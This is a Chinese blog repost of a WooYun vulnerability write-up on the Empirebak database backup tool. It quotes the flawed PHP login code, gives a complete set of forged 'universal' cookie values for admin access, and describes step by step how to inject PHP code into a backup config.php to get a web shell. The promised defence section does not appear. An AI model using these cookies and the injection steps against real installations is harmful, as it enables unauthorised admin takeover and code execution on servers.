帝国备份王(Empirebak)万能cookie及拿shell方法与防御

    转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591
    1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)

    登录成功设置4个cookie,看代码

    PHP Code复制内容到剪贴板
    1. function login($lusername,$lpassword,$key,$lifetime=0){    
    2. global $set_username,$set_password,$set_loginauth,$set_loginkey;    
    3. if(emptyempty($lusername)||emptyempty($lpassword)) {     
    4. printerror("EmptyLoginUser","index.php");     
    5. }    
    6. //验证码    
    7. if(!$set_loginkey)    
    8. {    
    9. if($key<>getcvar(‘checkkey’)||emptyempty($key))    
    10. {    
    11. printerror("FailLoginKey","index.php");    
    12. }    
    13. }    
    14. if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)    
    15. {    
    16. printerror("ErrorUser","index.php");    
    17. }    
    18. //认证码    
    19. if($set_loginauth&$set_loginauth!=$_POST[‘loginauth’])    
    20. {    
    21. printerror("ErrorLoginAuth","index.php");    
    22. }    
    23. $logintime=time();    
    24. $rnd=make_password(12);//生成随机字符    
    25. $s1=esetcookie("bakusername",$lusername,0);    
    26. $s2=esetcookie("bakrnd",$rnd,0);//随机字符    
    27. $s3=esetcookie("baklogintime",$logintime,0);    
    28. Ebak_SCookieRnd($lusername,$rnd);//    
    29. if(!$s1||!$s2)    
    30. {    
    31. printerror("NotOpenCookie","index.php");    
    32. }    
    33. printerror("LoginSuccess","admin.php");    
    34. }  

    再看看make_password函数

    PHP Code复制内容到剪贴板
    1. function make_password($pw_length){    
    2. $low_ascii_bound=50;    
    3. $upper_ascii_bound=122;    
    4. $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);    
    5. while($i<$pw_length)    
    6. {    
    7. mt_srand((double)microtime()*1000000);    
    8. $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);    
    9. if(!in_array($randnum,$notuse))    
    10. {    
    11. $password1=$password1.chr($randnum);    
    12. $i++;    
    13. }    
    14. }    
    15. return $password1;    
    16. }  

    这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

    PHP Code复制内容到剪贴板
    1. function Ebak_SCookieRnd($username,$rnd){    
    2. global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码    
    3. $ckpass=md5(md5($rnd.$set_loginrnd).‘-‘.$rnd.‘-‘.$username.‘-‘);//没有把密码加进去,于是漏洞产生了    
    4. esetcookie("loginebakckpass",$ckpass,0);    
    5. }  

    下面给出万能cookie(key:value):

    XML/HTML Code复制内容到剪贴板
    1. ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6    
    2. ebak_bakrnd:35y5cCnnA4Kh    
    3. ebak_bakusername:admin    
    4. ebak_baklogintime:4070883661  

    使用以上cookie即可直接访问admin.php

    2.拿shell

    后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库

    备份数据,随便找个数据库备份,

    然后到替换目录文件内容里,选择刚才备份的数据库,

    将”$b_table=”

    替换成

    “phpinfo();

    $b_table=”


    这里shell的路径就是bdata/mysql_20141007221849/config.php

发表评论

发表评论